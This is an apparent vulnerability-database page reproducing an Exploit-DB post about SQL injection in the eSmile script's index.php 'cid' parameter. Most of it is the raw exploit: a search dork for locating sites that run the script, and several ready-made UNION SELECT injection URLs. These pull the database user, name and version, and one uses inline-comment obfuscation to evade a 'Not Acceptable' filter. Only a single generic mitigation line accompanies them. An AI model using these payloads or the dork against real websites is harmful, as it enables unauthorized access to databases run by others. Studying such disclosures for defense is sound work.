eSmile (index.php) Sql Injection Vulnerability

vendor:

eSmile

by:

AtT4CKxT3rR0r1ST

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: eSmile

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

eSmile (index.php) Sql Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted SQL query to the vulnerable application. The crafted query can be sent as a parameter in the URL, for example: www.site.com/index.php?do=show&cid=null[Sql Injection]. The attacker can also bypass the Not Acceptable error by sending the following query: www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

eSmile (index.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : eSmile
.:. Bug Type       : Sql Injection[Mysql]
.:. Dork           : "Powered by: eSmile"

####################################################################

===[ Exploit ]===

www.site.com/index.php?do=show&cid=null[Sql Injection]

www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- -

T0 Bypass Not Acceptable


www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -